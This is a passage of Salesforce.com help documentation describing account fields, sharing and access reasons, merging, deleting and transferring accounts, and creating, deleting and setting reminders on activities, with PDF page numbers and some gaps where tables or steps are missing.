Accounts Account Fields
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating an account. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new account is automatically set to your default division, unless you
manually select a different one.
If your organization uses territory management, account assignment rules can automatically assign newly created accounts to
territories. See Territory Management Overview on page 1826.
See Also:
Account Fields
Sharing Accounts
Viewing Parent Accounts
Accounts Home
What is a Person Account?
Account Fields
See Also:
Displaying and Editing Accounts
Creating Accounts
What is a Person Account?
Viewing Fields
A business account has the following fields, listed in alphabetical order. Depending on your page layout and field-level security
settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer
Editions only.)
Note: Administrators can customize the display labels of standard fields.
Field Description
Account Currency The default currency for all currency amount fields in the
account. Amounts display in the account currency and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
67
Accounts Account Fields
Field Description
Account Division Division to which the account belongs. Records related to the
account, such as contacts and opportunities, automatically
inherit the account’s division. Available only in organizations
that use divisions to segment their data.
Account Name Name of company. Up to 255 characters are allowed in this
field.
Account Name (Local) The name of the account translated into the local language.
Account Number Tracking or reference number for account. Up to 40 characters
are allowed in this field.
Account Owner Assigned owner of account. Not available in Personal Edition.
Account Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Editions.
Account Site Name of the account’s location, for example, Headquarters or
London. Up to 80 characters are allowed in this field.
Annual Revenue Amount of annual reported revenue.
Billing Street Street address used for billing. Up to 255 characters are allowed
in this field.
Billing City City portion of billing address. Up to 40 characters are allowed
in this field.
68
Accounts Account Fields
Field Description
and has no effect on manual account assignments. See
Territory Management Overview on page 1826.
Fax Fax number. Up to 40 characters are allowed in this field.
Industry Primary business of account. Entry is selected from a picklist
of available values, which are set by an administrator. Each
picklist value can have up to 40 characters.
Modified By User who last changed the account fields, including
modification date and time. This does not track changes made
to any of the related list items on the account. (Read only)
Ownership Ownership of company, for example, public or private. Entry
is selected from a picklist of available values, which are set by
an administrator. Each picklist value can have up to 40
characters.
Parent Account Parent company for companies that are subsidiaries of a larger
company or organization. The parent account must be an
existing account in Salesforce.com. You can enter the account
name, or select (or optionally, create) the account using the
lookup icon.
Partner Account Read-only field that indicates whether an account is a partner
account.
Phone Primary phone number of account. Up to 40 characters are
allowed in this field.
Rating Categorization of how you rate this account, for example, Hot,
Cold. Entry is selected from a picklist of available values, which
are set by an administrator. Each picklist value can have up to
40 characters.
Run territory assignment rules on save When checked, causes account assignment rules to run when
the account is edited and saved. When customizing the page
layout for accounts, an administrator can control whether this
checkbox displays and whether it is checked by default. See
Territory Management Overview on page 1826.
Shipping Street Primary mailing or shipping street address of account. Up to
255 characters are allowed in this field.
Shipping City City portion of primary mailing or shipping address. Up to
40 characters are allowed in this field.
Shipping State/Province State or province portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
69
Accounts Account Fields
Field Description
Shipping Country Country portion of primary mailing or shipping address. Up
to 40 characters are allowed in this field.
SIC Code Standard Industrial Classification code of the account’s main
business categorization, for example, 57340 for Electronics.
Up to 10 characters are allowed in this field.
Territories The territories to which the account has been assigned. See
Territory Management Overview on page 1826.
Ticker Symbol Listing of company’s exchange and stock symbol, for example,
NASDAQ: ACME. Up to 20 characters are allowed in this
field.
Type Type of account, for example, Customer, Competitor, or
Partner. Entry is selected from a picklist of available values,
which are set by an administrator. Each picklist value can have
up to 40 characters.
Custom Links Listing of custom links for accounts as set up by your
administrator.
Website URL of account’s website, for example, www.acme.com. Up
to 255 characters are allowed in this field; only the first 50 are
displayed.
A person account has the following standard fields, listed in alphabetical order. Depending on your page layout and field-level
security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and
Developer Editions only.) Fields with an “X” in the Is Contact Field column are contact fields that are supported for person
accounts but not business accounts.
Note that this list does not include any custom fields that your administrator may have created. Both account and contact
custom fields are available for person accounts.
70
Accounts Account Fields
71
Accounts Account Fields
72
Accounts Account Fields
73
Accounts Account Fields
74
Accounts Account Fields
75
Accounts Viewing Parent Accounts
The account hierarchy shows you the accounts that are associated through the Parent Account field, giving you a global
view of a company and its subsidiaries. In the hierarchy, accounts are indented to show that they are subsidiaries of the parent
account above them.
• To view the account hierarchy, click View Hierarchy next to the account name on the account detail page. The Account
Hierarchy page displays up to 500 child accounts.
• To list an account as a subsidiary, edit the subsidiary account and type the name of an existing account in the Parent
Account field. Alternatively, you can click the lookup icon to search for (or optionally, create) a parent account.
The parent account must be an existing account before it can be entered and saved in this field.
For companies with multiple office locations, you can also use the Account Site field to distinguish among the locations.
If your organization uses divisions, accounts that are associated via the Parent Account field do not need to be in the same
division.
The Parent Account field and the View Hierarchy link are not supported for person accounts.
See Also:
Displaying and Editing Accounts
Creating Accounts
What is a Person Account?
76
Accounts Sharing Accounts
Sharing Accounts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Your administrator defines your organization's sharing model as well as your organization's default account access levels for
territories. However, you can extend sharing privileges for your own data on an account-by-account basis. You can use account
sharing to increase access to your accounts; you cannot restrict access beyond your organization’s default access levels.
To view and manage sharing details, click Sharing on the account detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the account. On this page, you can do any of the following:
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
Note: When you share an account, Salesforce.com prompts you to share any related contacts, opportunities, or
cases, up to and including your access level. Enterprise, Unlimited, and Developer Edition users can also share
related records from the record detail pages. Ensure users have at least “Read” permission on shared records.
See Also:
Granting Access to Records
Viewing Which Users Have Access
Territory Management Overview
Sharing Opportunities
Sharing Contacts
Sharing Cases
Account Team Overview
Users can manually grant access to certain types of records. In some cases, granting access includes access to all associated
records. For example, if you grant another user access to your account, the user will automatically have access to all the
opportunities and cases associated with that account. To grant sharing privileges for a record, you must be the record owner,
77
Accounts Granting Access to Records
any user granted Full Access, an administrator, or (provided your sharing settings control access through hierarchies) a user
in a role above the owner in the hierarchy.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.
Type Description
Public Groups All public groups defined by your administrator.
Personal Groups All personal groups defined by the record owner. Only the
record owner can share with his or her personal groups.
Users All users in your organization. Does not include portal users.
Roles All roles defined for your organization. This includes all of
the users in that role.
Roles and Subordinates This includes all of the users in the role plus all of the users
in roles below that role. Only available when no portals are
enabled for your organization.
Roles and Internal Subordinates All roles defined for your organization. This includes all of
the users in the specified role plus all of the users in roles
below that role, excluding PRM portal, partner portal, and
Customer Portal roles.
Roles, Internal and Portal Subordinates Adding a role and its subordinate roles, includes all of the
users in that role plus all of the users in roles below that role.
Only available when a partner or Customer Portal is enabled
for your organization. Includes portal roles and users.
Territories All territories defined for your organization. This includes
all users in that territory. This option is only available if your
organization uses territory management.
Territories and Subordinates Includes all users in the territory plus the users below that
territory. This option is only available if your organization
uses territory management.
4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the New Sharing
list.
5. Choose the access level for the record you are sharing and any associated records that you own. For example, if you are
sharing an account, specify the level of access the selected user should have to associated contact, opportunity, and case
records you own.
78
Accounts Granting Access to Records
Note:
• When sharing an opportunity or case, users must also have at least read access to the associated account (unless
you are sharing a case via a case team). If you also have privileges to share the account, users are automatically
given read access to the account. If you do not have privileges to share the account, you must ask the account
owner to give the users read access to it.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.
• For sharing rules that specify access for associated object records, the given access level applies only to that
sharing rule. For example, if an account sharing rule specifies Private as the access level for associated contacts,
a user may still have access to associated contacts via other means, such as organization-wide defaults, the
“Modify All Data” or “View All Data” administrative permission, or the “Modify All” or “View All” object
permission.
6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast.
7. Select the reason for the share to allow users and administrators to understand the source of the sharing. For more information
on sharing reasons, see Creating Apex Sharing Reasons on page 532.
8. Click Save.
79
Accounts Viewing Which Users Have Access
See Also:
Sharing Accounts
Sharing Campaigns
Sharing Cases
Sharing Contacts
Sharing Custom Object Records
Sharing Leads
Sharing Opportunities
Viewing Which Users Have Access
Case Teams Overview
Controlling Access Using Hierarchies
Manually Sharing a Forecast
After you have granted access to a record you own, you can view a list of users who have access to the record and its related
information. You can also view the reason why each user has access.
80
Accounts Viewing Which Users Have Access
Note: For sharing rules that specify access for associated object records, the given access level applies only to that
sharing rule. For example, if an account sharing rule specifies Private as the access level for associated contacts, a
user may still have access to associated contacts via other means, such as organization-wide defaults, the “Modify
All Data” or “View All Data” administrative permission, or the “Modify All” or “View All” object permission.
In addition, when viewing forecast sharing, the list shows if the user can submit a forecast.
3. Click Why? next to a user’s name to view the reason he or she has access.
The list shows all of the reasons why the user has access. The user is granted the greatest access level.
The possible reasons are:
Reason Description
Account Sharing Rule The user has access via an account sharing rule created by
the administrator.
Account Sharing The user was granted access via the Sharing button on the
associated account.
Account Team The user is a member of the account team.
Account Territory The account has been assigned to a territory to which the
user has access.
Administrator The user has the “Modify All Data” or “View All Data”
administrative permission, or has the “Modify All” or “View
All” object permission.
Associated record owner or sharing The user owns or has been given sharing access to a record
associated with the record. Click the link to view which
associated records the user owns or has been given sharing
access to.
Campaign Sharing Rule The user has access via a campaign sharing rule created by
the administrator.
Case Sharing Rule The user has access via a case sharing rule created by the
administrator.
Contact Sharing Rule The user has access via a contact sharing rule created by the
administrator.
Delegated Forecast Manager A user has access to forecast data that was granted via the
Sharing button on the forecast.
Forecast Manager A user has access due to being a forecast manager in the
forecast hierarchy.
Lead Sharing Rule The user has access via a lead sharing rule created by the
administrator.
Manager of Territory Member The user has a subordinate in the role hierarchy who is
assigned to the territory with which the account is associated.
81
Accounts Viewing Which Users Have Access
Reason Description
Manual Sharing The user has access that was granted via the Sharing button
on the record.
Manual Territory Sharing The account has been manually assigned to a territory to
which the user has access.
Opportunity Sharing Rule The user has access via an opportunity sharing rule created
by the administrator.
Owner The user owns the record, or the user is a member of the
queue that owns the record or above the queue member in
the role hierarchy.
Sales Team The user is a member of the opportunity sales team.
View All Forecasts Permission The user has a profile with the “View All Forecasts”
permission.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.
See Also:
Sharing Accounts
Sharing Contacts
Sharing Opportunities
Sharing Cases
Sharing Custom Object Records
Setting Your Organization-Wide Sharing Model
Controlling Access Using Hierarchies
Manually Sharing a Forecast
82
Accounts Merging Duplicate Accounts
1. From the Accounts tab, click Merge Accounts in the Tools section.
2. Enter a search string to find the duplicate accounts.
For example, you can enter acme* to find duplicate accounts listed as “Acmes” and “Acme, Inc.” Do not use the local name
for the account. Then click Find Accounts.
3. Check the rows of up to three accounts you want to merge. Click Next.
4. Select one account as the “Master Record.” Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators, and users with the “Edit Read Only Fields” permission, can manually select which read-only
fields to retain. Note that hidden fields are not displayed during the merge.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in blue.
6. Click the Merge button to complete the merge.
83
Accounts Merging Duplicate Accounts
• The newly merged account displays the Created By date from the oldest account you are merging, and shows the merge
date as the Modified By date.
• If both accounts have different account teams, the merged account will contain members from both account teams.
• In organizations that use divisions, the merged account is assigned to the division of the Master Record, unless you select
otherwise.
• When you merge accounts that have territories and the Exclude from account assignment rules box was
deselected on both of the original accounts, account assignment rules will run on the new account to determine its territories.
Also, any manually added territories on the original accounts will be manually added to the new account.
• When you merge accounts that have territories and the Exclude from account assignment rules box was checked
on one or both of the original accounts:
- The newly merged account has all of the territories of the original accounts.
- Account assignment rules will not run on the newly merged account.
- If a territory was assigned to one of the original accounts based on account assignment rules, it will appear as having
been assigned to the new account based on rules even if the new account does not match the rules.
- If a territory was manually assigned to one of the original accounts, it will be manually assigned to the new account.
- If a territory was added to one account manually and to the other account by rules, it will be manually added to the
new account.
• When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see
Merging Accounts Associated with Relationship Groups on page 85.
See Also:
Merging Duplicate Contacts
What is a Person Account?
Creating Partner Accounts
84
Accounts Merging Accounts Associated with Relationship Groups
When working with wealth management accounts (clients), you can merge up to three duplicate accounts at a time. For
example, if the accounts “Joe Bannon” all represent the same client and need to be merged, you can use the Merge Accounts
tool to consolidate those records into one. When you merge accounts, you also merge the accounts' memberships in relationship
groups. Note that merging results in a single account, and an account cannot exist more than once in the same relationship
group. Review the following considerations before merging accounts that are members of relationship groups:
• The account you select as the master record retains its original relationship group memberships. For example, if the master
record “Joseph Bannon” was a member of the “Bannon Family” and “Bannon Law Firm” relationship groups, it remains
a member of those relationship groups.
• The master record replaces the non-master records in all other relationship groups involved in the merge. For example, if
the non-master record “Joe Bannon” was a member of “Bannon Trust Beneficiaries,” the master record is transferred Joe
Bannon's membership in Bannon Trust Beneficiaries.
• If there is a relationship group to which the master record did not originally belong but the multiple non-master records
belong, the master record is transferred the membership of the non-master account that had higher priority (primary versus
secondary) or the account whose member record was most recently modified in the relationship group. For example, if the
non-master records “JR Bannon” and “Joe Bannon” both were members of “Acme LLP” and JR Bannon was primary, then
the master record is transferred JR Bannon's membership in Acme LLP. Alternatively, if neither JR Bannon or Joe Bannon
were primary or secondary but JR Bannon's member record in the relationship group was modified more recently, then
the master record would be transferred JR Bannon's membership in Acme LLP.
See Also:
Merging Duplicate Accounts
Removing Members from Relationship Group Members
A local name stores a translated value for a corresponding account, contact, or lead field. For example, you can store the name
of an account in the default language of your organization as well as the account’s or user’s language. The following fields can
have corresponding local names:
85
Accounts Deleting Accounts
Local names do not affect the user’s language settings. Depending on your page layout settings, they can both be displayed
on the detail or edit page.
To enable the ability to use local names, your administrator must first contact salesforce.com and then add the corresponding
local name fields to your page layout settings.
See Also:
Managing Page Layouts
Deleting Accounts
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions
To delete an account, click Del next to the account on the accounts list page, or click Delete on the account detail page.
When you delete an account it's moved to the Recycle Bin along with any of these related items:
• Contacts
• Opportunities
• Contracts (if they're not activated)
• Activities
• Notes
• Attachments
• Portal roles and groups (if all portal users in the account are disabled)
• Partner relationships
• Relationship group members
86
Accounts Searching for Accounts
If you undelete an account, any related items are also restored except for:
• Relationship group members in some cases. See Removing Members from Relationship Group Members on page 1880.
• Portal roles and groups. See Displaying and Editing Accounts on page 62.
You can't delete an account if it has been enabled as a partner account, has associated cases, activated contracts, related
opportunities that are owned by other users, or associated contacts are enabled for the Self-Service portal. In addition, if you
attempt to delete an account that has closed/won opportunities owned by you, a message displays asking you whether you
want to delete the closed/won opportunities along with the account or to cancel the account deletion.
Note: You can delete an account if you are an administrator, the account owner, or a user above the account owner
in the organization role hierarchy, and if you have the appropriate user permission. You do not need the “Delete”
permission on any associated records that are included in the deletion.
See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Accounts
What is a Person Account?
1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
If you are using local account names, a search finds matches for either the standard account names or local account names.
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.
87
Accounts Changing Ownership
You can also create an account list view to find accounts that match specific criteria.
See Also:
Search Overview
Customizing Search Layouts
What is a Person Account?
Changing Ownership
Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions
1. Before transferring a record to a new owner, make sure the new owner has at least “Read” permission on the object on
page 492.
2. Click Change next to the Owner field.
The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you cannot change
ownership.
3. Enter a new owner or select a user via the lookup icon.
In organizations where the Salesforce.com Customer Portal or partner portal is enabled, you can filter the results that will
display on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down
list.
Note: Only those users you are able to transfer ownership to are visible. Neither the User group nor the Roles and
Internal Subordinates group contains Customer Portal or partner users.
4. Select the Send Notification Email checkbox to notify the new owner.
The “From” email address displayed in the notification is your return email address as set in the Email Address field
of your email settings.
For cases in Professional, Enterprise, Unlimited, and Developer Edition organizations, the email text is determined by the
Case Assigned Template setting specified in the Support Settings. For other records, the email text is automatically
generated and cannot be customized.
5. Depending on the type of object you are transferring and your user permissions, the following checkboxes may also appear:
Transfer open Transfers open opportunities owned by other users that are Accounts
opportunities not associated with the account.
88
Accounts Changing Ownership
Transfer closed Transfers the closed opportunities associated with the Accounts
opportunities account. This option applies only to closed opportunities
owned by the account owner; closed opportunities owned
by other users are not changed.
Transfer open cases Transfers any open cases associated with the account that Accounts
owned by the existing are owned by the existing account owner.
account owner
Transfer closed cases Transfers the closed cases associated with the account. This Accounts
option applies only to closed cases owned by the account
owner; closed cases owned by other users are not changed.
Keep Account Team Transfers all account team members on the account to the Accounts
new owner.
Keep Sales Team Preserves the sales team when the opportunity is transferred Opportunities
to the new owner. If this box is unchecked, all sales team
members are deleted when the opportunity is transferred to
the new owner.
Note: If you transfer closed opportunities, the sales
team is maintained, regardless of this setting.
Note: After you have changed ownership, the previous owner's visibility reverts to the default sharing setting unless
that user is on an account or sales team. For example, if the previous owner of an account is on an account team, that
user has Read Only or the access specified in your organization-wide default for accounts, whichever is greater. The
previous owner's access to related records remain the same. This behavior is the same for opportunity owners that are
members of a sales team as long as you change ownership using the API. When you change ownership of an opportunity
within Salesforce.com, you can select the access level you desire.
89
Accounts Changing the Record Type Field
Note: When transferring associated group events, only group events that you created are transferred to the new owner.
Group events to which you have been invited are not transferred.
See Also:
Mass Transferring Records
Assigning Leads
Assigning Cases
Changing Document Authors
Editing Email Settings
Territory Management Overview
Record types determine the picklist values that are available when creating and editing a record. When creating a record, you
can choose the record type if you have different record types available to your profile and you have not set your record type
preferences to bypass the record type selection page. When editing existing records, you can change the record type from the
record detail page.
1. Click Change next to the Record Type field on a record detail page.
90
Activities Activity Overview
Note: For campaign members, click Change next to the Campaign Member Type field on a campaign detail
page. You must have the Marketing User user permission to change the campaign member type.
2. Select a record type. The available record types are listed at the bottom of the page.
3. Click Continue.
4. Make any changes to the record.
5. Click Save.
Note: Changes are not saved until you click Save; clicking Continue does not save the record.
If your organization uses person accounts, your administrator has configured two different kinds of record types for
your organization's accounts: one for business accounts, and another for person accounts. You can change an account's
record type only to another record type of the same kind. For example, you cannot change a person account record
type to one designated for business accounts.
See Also:
Setting Record Type Preferences
What is a Person Account?
ACTIVITIES
Activity Overview
Available in: All Editions
Activities include tasks, calendar events, and requested meetings. You can define and track activities for many different objects,
including campaigns, accounts, contacts, and leads.
Activities display in related lists on associated records as well as on the Home tab.
91
Activities Activity Accessibility
Note: Administrators can modify activity fields and control the page layouts for tasks and events.
See Also:
Activity Accessibility
Viewing Activities
Creating Activities
Editing Activities
Deleting Activities
Searching for Activities
Activity Fields
Tip sheet: Tips & Hints for Activities
Activity Accessibility
Available in: All Editions
Viewing and editing tasks and events depends on a number of factors. Use the following table to determine who can access
activities:
Create an activity • Have the “Edit Tasks” and “Edit Events” permissions
AND
• Have at least read access to a record, if associating the
activity with another record
Edit an activity • Have the “Edit Tasks” and “Edit Events” permissions
AND
• Be assigned to the activity, or
92
Activities Activity Accessibility
Delete an activity • Have the “Edit Tasks” and “Edit Events” permissions
AND
• Be assigned to the activity, or
• Be above the user assigned to the activity in the role
hierarchy, or
• Have the “Modify All” object-level permission in the
related record, where the sharing model for that record is
“Controlled By Parent,” or
• Have the “Modify All Data” permission
View, add, and edit events on other users’ calendars • Have the “Edit Tasks” and “Edit Events” permissions to
create and edit activities
AND
• Have access to the user’s calendar, which depends on your
organization-wide calendar sharing defaults and how the
user has set up individual calendar sharing.
See Setting the Sharing Model on page 523 and Sharing
Your Calendar on page 40.
93
Activities Viewing Activities
Tip: The user who is assigned to an activity in the Assigned To field is often referred to as the “activity owner.”
See Also:
Viewing Activities
Editing Activities
Deleting Activities
Viewing Activities
Available in: All Editions
Activities include tasks and calendar events. Activities can display in the following locations:
Home Tab
Many users go to the Home tab to view their tasks and events. For more information, see Using Your Calendar and
Tasks on the Home Page on page 46.
To display a list of activities for which you or your team is responsible for completing, click the activity list view icon
( ) below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the
Calendar or My Tasks sections, contact your administrator to customize your home page layout.
For more information, see Viewing Activity Lists on page 95.
Reminder Window
The reminder window pops up to notify you of upcoming activities. For more information, see Using the Activity
Reminder Window on page 103.
Console
Administrators of Professional, Enterprise, Unlimited, and Developer Edition organizations can set up the console to
include activities. Click the Console tab to display the console, which allows you to find, view, and edit activities and
their associated records on one screen. For more information, see Displaying the Console on page 2372.
94
Activities Viewing Activity Lists
See Also:
Activity Accessibility
Creating Activities
Editing Activities
Deleting Activities
Activity Fields
To display a list of activities for which you or your team is responsible for completing, click the activity list view icon ( )
below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My
Tasks sections, contact your administrator to customize your home page layout.
From the activity list view, you can do the following:
• Click New Task or New Event to create a new activity. For more information, see Creating Activities on page 96.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
• Click an activity to view its details. When viewing an activity, click Back to list at the top of the activity detail page to
return to the last list page you viewed. See Navigating on page 9 for more information.
Archived activities are not included in activity list views. See Using the Activity History Related List on page 101 for details
on which activities are archived.
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.
1. Click the list view icon below the calendar on the Home tab.
2. Select a view name from the drop-down list.
The following list views are provided by Salesforce.com:
• All Activities - Shows activities that you can view. In Personal Edition, the All Activities list view shows all of your
activities.
95
Activities Creating Activities
• My Team's Activities - Shows activities owned by users who report to you in the role hierarchy.
For your convenience, your team's activities are converted to your time zone.
1. Click the list view icon below the calendar on the Home tab.
2. Click Create New View. See Creating Custom List Views on page 219 for more information.
See Also:
Viewing Activities
Using Your Calendar and Tasks on the Home Page
Viewing Your Calendar
Activity Accessibility
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Creating Activities
Available in: All Editions
You can create new activity records (tasks and events) from the following locations:
In the sidebar
In the sidebar, select Task or Event from the Create New drop-down list.
96
Activities Creating Activities
On a calendar view
On a calendar view, click New Event to add a new event. In addition:
• On day views you can click New in the My Tasks section to add a new task.
• On day views you can click a time such as 9:00 AM to add an event at that time.
• On day and week views, you can double-click on a time slot to create a new event. Your administrator controls the
availability of this feature. Note that recurring events and group events are not supported for click-and-create events
on calendar views.
• On week and month views you can click the Add Event icon ( ) to add an event on a particular date.
Note: In Enterprise, Unlimited, and Developer Editions, your administrator defines the record types that you can
select when creating an activity. Record types determine the picklist values and page layouts that are available when
creating and editing a record.
See Also:
Creating Tasks
Creating Events
Viewing Activities
Editing Activities
Requesting a Meeting With Contacts, Leads, and Person Accounts
97
Activities Editing Activities
Editing Activities
Available in: All Editions
• Editing Tasks
• Closing Tasks
• Editing Events
See Also:
Viewing Activities
Creating Activities
Deleting Activities
Activity Fields
Deleting Activities
Available in: All Editions
Group events not available in: Personal Edition
To delete an activity:
Click Delete on the activity detail page, click Del from any activity list view or related list, or click Delete on the event detail
overlay.
98
Activities Deleting Recurring Events
• Administrators can use Mass Delete to delete a group of activities or archived activities. See Deleting Mass Data on page
602.
• For group events, only the event owner can delete the event. However, when you decline a group event, the event is removed
from your calendar.
• When an event owner deletes a group event, all invited users receive an email notifying them that the event has been
canceled.
• When deleting a recurring event or deleting a recurring task, you can either delete a single occurrence in the series or the
entire series.
See Also:
Recycle Bin
Only the event or series owner can delete an event or series of events. If you have been invited to a group event or a series of
group events, to remove them from your calendar, decline the event or series of events. See Responding to Group Events on
page 130 for more information.
To delete a single event in a series of events:
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Delete Event. A warning dialog will be displayed. If you are sure you want to delete only this event in the series,
click OK.
Alternatively, hover your mouse over the event in a calendar. and click Delete in the event detail overlay.
Note: When an event owner deletes a recurring group event, all invited users receive an email notifying them that the
event has been canceled.
Deleted events are moved to the Recycle Bin. If they are restored, all the details of the event will be restored as well.
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click the View Series subtab located above the task details, and click Delete Series. A warning dialog displays. If you are
sure you want to delete every future occurrence in the series, click OK.
99
Activities Using the Open Activities Related List
• Deleting a series does not delete occurrences that have already happened.
• When an event owner deletes a series of recurring group events, all invited users receive a single email notifying
them that the series of events has been canceled.
• If a series is deleted and no events in the series occurred in the past, the series is placed in the Recycle Bin. Individual
events that were part of the series are not placed in the Recycle Bin.
• If a series is deleted and it contains events that occurred in the past, the series is not placed in the Recycle Bin, and
therefore it cannot be restored from the Recycle Bin.
• If you restore a series from the Recycle Bin, individual events will be created. Those individual events will have the
details as defined by the series, as well as any event-specific details that were set on the event before the series was
deleted.
• Open tasks
• Open events
• Requested meetings
These activities are displayed for a record and its associated records. For example, if you have a task related to a contact, that
task displays in the Open Activities related list of the contact as well as the associated account.
From the Open Activities related list:
• Click New Task or New Event to create an activity that is associated with the record.
• Click New Meeting Request to request a meeting with a contact, lead, or person account. Once you request a meeting,
the calendar icon ( ) displays next to it.
• Click Edit to edit an activity.
• Click Cls to close a task. For more information, see Closing Tasks on page 137.
• Click Del to delete an event or requested meeting. Salesforce.com emails the invitees that the event or meeting was
cancelled.
• Click the subject of an activity to open the detail page of the activity.
Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1014.
100
Activities Using the Activity History Related List
Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 54.
See Also:
Using the Activity History Related List
Viewing Activities
The Activity History related list of a record displays all completed tasks, logged phone calls, expired events, outbound email,
mass email, email added from Microsoft Outlook®, and merged documents for the record and its associated records.
In the Activity History related list, click:
• Log A Call to enter the results of unplanned phone calls and then schedule a follow-up task. Use this feature, along with
scheduled events and tasks to track all activities for a record.
• Mail Merge to generate personalized documents using your data and Microsoft Word templates provided by your
administrator. If you choose, the merged document is listed in the Activity History related list of the associated record.
This button is not available for all types of records. For more information, see Sending Single Mail Merge Documents on
page 1999.
• Send An Email to send an email to a contact or lead and associate the email with both the contact or lead and the displayed
account, opportunity, case, or custom object. The email you send is automatically listed in the Activity History related list
of the contact or lead. If the subject is longer than 100 characters, it is truncated with ellipses (...). When appropriate, it
is also listed for the record associated with the email, such as the opportunity or case. This button is not available for all
types of records.
• Compose Gmail to send an email to a contact or lead from your Gmail account. The email you send is automatically listed
in the Activity History related list of the contact or lead. This button is only available if the Gmail Buttons and Links
feature is enabled. If the Gmail to Salesforce.com feature is also enabled, the email you send is automatically listed in the
Activity History related list of the contact or lead. See Using Gmail in Salesforce.com on page 310 for more information.
• Request Update to launch a contact update email to send to the selected contact. This email allows you to enter an
introductory note asking the contact to update the contact information you have and send a reply with the updated
information. You can update your contact record when you receive the response. These emails and the mass Stay-in-Touch
emails will be listed in the Activity History related list.
• View All to display a printable view of all completed activities.
Note that the View All button only displays when there are records to view.
• The subject of an activity to view its details.
If your organization has added the Case Activities related list to the View Cases page layout in the Self-Service portal and you
have set the field-level security to visible for the Visible in Self-Service checkbox on activities, you can click the
following:
• Make Public to display the completed activity in the activities related list on the case in the Self-Service portal.
101
Activities Setting Reminders on Activities
• Make Private to hide the completed activity in the activities related list on the case in the Self-Service portal.
Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1014.
Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 54.
See Also:
Using the Open Activities Related List
About Archived Activities
Viewing Activities
Sending Email
Salesforce.com can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an
upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to
Salesforce.com. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the
last time the user logged out are shown in the reminder window.
When you create or edit an event or task, you have an option to set a reminder on it. The reminder defaults to the time specified
in your reminder settings.
To set a reminder on a task:
102
Activities Using the Activity Reminder Window
4. Click Save.
See Also:
Using the Activity Reminder Window
Customizing Activity Reminders
Viewing Activities
Editing Activities
Reminders display in a small browser popup window, called the “reminder window.” When you first log into Salesforce.com,
a sound is played and the reminder window automatically pops up to notify you of any task or event reminders that were
triggered since you last logged in. While you are logged in, the reminders window opens whenever a reminder is triggered.
The reminder window lists up to 100 of the oldest reminders you have not dismissed, the type of activity, the subject of the
activity, and when the activity is scheduled or due. Activities that were scheduled or due in the past will show as overdue. To
find out more details on the activity, click on the subject of the activity.
When viewing the reminder window, you can choose to dismiss or snooze one or more reminders.
To dismiss all reminders in the window, click Dismiss All. After you click Dismiss All, the window will display any reminders
that were not previously in the window due to the 100 reminder limit.
To dismiss a reminder:
To snooze a reminder:
If you close the reminder window, it will open again when you are notified of the next reminder.
Note: If your reminder popups fail to display, ensure that your browser is not blocking them. For more information,
see Why can't I view Salesforce.com popup windows such as lookup dialogs and the Help & Training window? on
page 2575.
See Also:
Setting Reminders on Activities
Customizing Activity Reminders
Viewing Activities
103
Activities Searching for Activities
To find activities:
1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.
Note: Archived activities are not included in Advanced Search and Sidebar Search results.
See Also:
Search Overview
